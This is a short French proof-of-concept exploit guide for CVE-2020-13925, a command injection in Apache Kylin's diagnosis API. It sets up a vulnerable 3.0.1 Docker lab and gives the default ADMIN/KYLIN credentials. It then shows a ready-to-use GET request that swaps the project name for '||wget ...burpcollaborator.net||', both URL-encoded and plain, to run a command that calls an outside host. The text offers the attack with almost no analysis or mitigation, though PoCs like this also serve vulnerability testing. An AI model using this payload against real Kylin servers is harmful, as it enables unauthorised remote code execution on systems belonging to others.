
Exploit de preuve de concept pour CVE-2020-13925, une vulnérabilité d'injection de commande dans l'API de diagnostic d'Apache Kylin, permettant l'exécution de code à distance via des noms de projet spécialement conçus.
Référence : https://github.com/apache/kylin
Déployez l'environnement avec Docker en utilisant la version 3.0.1 (version vulnérable). Vous pouvez supprimer -m 8G \ (qui sert à allouer la mémoire).
Ensuite, accédez à http://host:7070/kylin/login. Le nom d'utilisateur et le mot de passe par défaut sont ADMIN/KYLIN.
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
Requête originale :
http://host:port/kylin/api/diag/project/learn_kylin/download
Requête PoC, méthode GET :
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
Il suffit de remplacer le nom du projet "learn_kylin" par la charge utile suivante :
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
Accédez à System → Configuration → Diagnosis. Déclenchez la requête de téléchargement des informations de diagnostic : http://host:port/kylin/api/diag/project/learn_kylin/download

Remplacez le nom du projet "learn_kylin" par la charge utile ci-dessus, puis accédez-y.
